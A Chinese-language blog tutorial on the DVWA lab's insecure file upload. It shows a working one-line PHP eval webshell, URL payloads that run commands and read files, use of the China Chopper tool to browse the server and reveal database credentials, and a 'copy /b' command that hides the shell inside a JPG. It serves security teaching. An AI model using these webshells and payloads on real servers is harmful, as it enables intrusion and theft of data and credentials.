網絡安全:文件上傳 + 一句話木馬原理 + 菜刀的簡單使用

 

很多的網站提供了文件上傳功能,雖然提供了方便的服務,但稍有疏忽,就可能釀成大禍。

 

這裏的疏忽是指,不對用戶上傳的內容進行檢查。

 

仍舊以DVWA爲例:

 

網站的本意是接受用戶的圖片(image),但後臺代碼卻並沒有對文件進行檢測:

 

網頁源碼(部分截圖):

 

php處理源碼:

文本也貼出來:

File Upload Source
vulnerabilities/upload/source/low.php
<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?> 


 

我們可以看到,target_path只是獲得了文件應該存放的路徑。之後的步驟,並未對文件進行任何的檢測處理,而直接進行move_uploaded_file(),將文件上傳。

 

換句話說,你的文件不是圖片都莫得問題。

 

試一下,我們上傳個php一句話。許多小夥伴可能聽說過“一句話木馬”這個名詞,也見過一句話木馬怎麼寫,但是就不知道爲什麼起作用。別急,我們簡單一聊就通了。沒聽說過的小夥伴也不用擔心,注重聽原理。

 

新建個txt,編輯:

<?php
    @eval($_REQUEST["shell"]);
?>

保存後修改擴展名爲.php。(我這裏起名爲shell)

 

進行上傳:

 

然後我們會發現successfully upload。上傳成功!竟然還給出了路徑。路徑中的“..”指上一目錄。

 

shell.php被上傳到了根目錄下hackable/uploads/shell.php。

 

我們直接通過修改url對其進行訪問:

 

你會發現網頁什麼都沒有顯示,但是並沒有報錯。這說明文件確實存在,只是無顯示內容。

 

一句話木馬如何使用?

 

<?php
@eval($_REQUEST['shell']);
?>

重點在@eval($_REQUEST['shell'])的理解。

 

首先是一個@符號,其實這個東西對我們來說可有可無,這個符號的作用是抵制錯誤提示。

 

爲什麼要抵制錯誤提示呢?這裏先要了解eval()函數的功能。eval將接收一個字符串參數,並將這個字符串作爲命令語句執行。

 

如:

<?php

    echo "hello";
    eval('echo "hello"');

?>

這兩句的功能是相同的,因爲eval接收的是個字符串,那這個字符串就有可能不是正確的命令。這樣一來直接執行就會報錯,爲了不顯示報錯信息,前面加上了@符號。

 

@一般是創建網站的人才會使用,旨在不讓用戶從報錯信息中獲得服務器的相關信息。而我們對一句話進行利用時,有時還是需要報錯信息來告訴我們,哪裏輸錯了。

 

最後看eval中的參數:$_REQUEST['shell'],request是請求,最常用的請求方式有兩種GET和POST(不瞭解的,前面很多文章裏都有談到,STW也可以。【我就不加F了】)。而$_REQUEST就是從請求參數中得到“shell”這個參數的值(當然這個參數名你可以隨便起,反正是你來利用。)。

 

如果是$_GET["shell"],就是從get請求的參數中找shell參數。而$_POST["shell"],則是從post請求中尋找shell參數。$_REQUEST包含get和post,兩者皆可。

 

到這裏,一句話的功能應該就已經清晰了,即從get或post請求參數中,將shell參數的值,作爲命令語句執行。

 

如何利用呢?

 

爲了方便,我們就不抓包(截獲報文)了。直接通過get方式向文件發送參數:

 

 

修改url,其後添加?shell=xxxxx,來傳遞shell參數。其值爲phpinfo()。

 

phpinfo()函數會顯示服務器的詳細信息。然而頁面報錯了,syntax error(語法錯誤)。我們發現phpinfo()後面忘記了分號。這就顯示了報錯的好處,如果一句話中eval前有@符號,這時的頁面會是一片空白,讓你一頭霧水。

 

 

添加分號後正確執行了phpinfo函數,頁面上顯示了諸多服務器信息,操作系統信息,項目路徑等等。

 

這是一個簡單的使用實例,還有沒有其他的利用呢?

 

修改shell值爲echo(__DIR__);,echo大家都清楚,就是print。而__DIR__指當前文件目錄。通過它,我們知道了shell.php被上傳到了什麼位置。在uploads目錄之下。

 

那看看uploads目錄下面都有什麼吧。

 

修改shell=print_r(scandir(__DIR__));,scandir函數掃描指定路徑下的文件,返回一個數組。echo只能簡單輸出字符串,對於複雜結構顯得力不從心,所以這裏利用了print_r函數。

 

通過結果我們知道,在uploads目錄下,除了shell.php,還有一張dvwa_email.png的圖片。

 

我們實際打開項目:

確實如此。

 

我們還可以讀取文件內容,修改shell值shell=echo(file_get_contents("./shell.php"));:

file_get_contents函數獲得指定文件的內容:

因爲文件內容是php代碼段,不是可顯示內容,所以頁面空白。但是,這時你右鍵查看源碼或者快捷鍵ctrl + u:

你就能看到shell.php的內容了。

 

致此,一句話的利用原理就明白了。來了個問題,一句話利用不就是傳遞一個參數值,並讓服務器執行嗎。有沒有工具能替我做這些機械性的工作呢。例如我想要得到這個項目的目錄結果,我需要一點點的掃描每個子目錄,手動做起來太麻煩了。

 

這就是要說到的“中國菜刀”的功能。可能很多小朋友聽過這個工具:

 

初始界面:

 

右鍵添加:

地址當然就是我們上傳的php文件的url了,後面那個框裏是參數名,我們設置的是shell。菜刀就會幫你向那個地址發送shell參數,以解放你的雙手。

 

點擊添加後:

 

雙擊添加的鏈接:

是不是太恐怖了,這個網站的項目目錄盡顯眼前。

 

如果權限允許,你甚至可以隨意下載它的東西:

 

雙擊文件查看內容:

 

完了,現在數據庫的用戶名密碼,我也知道了:

 

此話題致此結束吧,這就是一句話的利用。

 

返回我們最開始的問題,這一切的一切,都是因爲,服務器未對我們上傳的文件進行檢查。

 

如果服務器對上傳文件進行了限制,比如,只能上傳jpg文件,那我們還有方法上傳一句話的腳本嗎?

 

有!有種方式叫圖片隱藏,更多的可能稱爲“圖片馬”。即將php腳本嵌入到圖片的末尾。

 

這裏有之前寫過的用python實現的方法,其中有原理解釋,感興趣的可以看下:

https://blog.csdn.net/qq_41500251/article/details/91645290

 

簡單點,我們這樣搞:

 

準備好一張圖片和我們剛剛寫的php腳本。打開cmd:

copy 1.jpg/b + shell.php/a 2.jpg

 

複製文件,圖片後面添加腳本,注意打開方式,圖片用二進制方式打開/b,php用文本(或者說ascii)方式打開/a。

 

命令執行成功後,我們會得到一個合併了的2.jpg圖片。現在我們要做的就是讓網頁用文本的方式顯示2.jpg。前面1.jpg圖片的部分會是一堆十六進制數字,無所謂不重要。圖片後面的東西,就是我們的php腳本。只要網頁能輸出,剩下的就和我們直接上傳php無二樣了。

 

你如果有能用十六進制打開文件的工具,可以查看下2.jpg的末尾部分,你會發出“哦~”的一聲。

 

至於怎麼讓網頁顯示出來,這設計到另一個問題——文件包含,我們另外談。

 

結束吧,至少標題列出來的全說了一遍。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章